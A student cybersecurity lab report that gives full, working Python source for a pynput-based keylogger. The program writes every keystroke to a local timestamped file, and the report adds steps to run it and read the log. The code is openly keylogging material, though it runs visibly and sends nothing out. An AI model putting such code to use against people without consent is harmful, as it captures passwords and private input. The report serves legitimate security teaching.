**CSY Lab Report**

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**Lab Task: Develop a custom keylogger program to capture keyboard inputs.**

**Key\_logger.py**

from pynput import keyboard

from datetime import datetime

current\_timestamp = None # To track the current timestamp

def on\_press(key):

global current\_timestamp

timestamp = datetime.now().strftime("%H:%M") # Get current time in hours and minutes

try:

with open("keylog\_grouped\_time.txt", "a") as file:

if timestamp != current\_timestamp: # If the minute changes, write the new timestamp

file.write(f"\n[{timestamp}]\n")

current\_timestamp = timestamp

try:

file.write(f"{key.char} ") # Log character keys

except AttributeError:

file.write(f"{key} ") # Log special keys

except Exception as e:

print(f"Error writing to file: {e}")

def on\_release(key):

if key == keyboard.Key.esc: # Stop logging when Escape key is pressed

return False

# Start listening to the keyboard

with keyboard.Listener(on\_press=on\_press, on\_release=on\_release) as listener:

listener.join()

**A screenshot of a computer

Description automatically generatedSnapshots and Process**:

1. Create a file named key\_logger.py
2. Activate virtual environment using command
   * + ***Source venv/bin/activate***
3. Run the key logger using command
   * ***python3 key\_logger.py***
4. A screenshot of a computer

   Description automatically generatedLet the key logger to run and it will record any keystrokes pressed.
5. Press “ESC” to stop the keylogger
6. Open keylog\_grouped\_time.txt to see all the keystrokes captured using command:
   * cat keylog\_grouped\_time.txt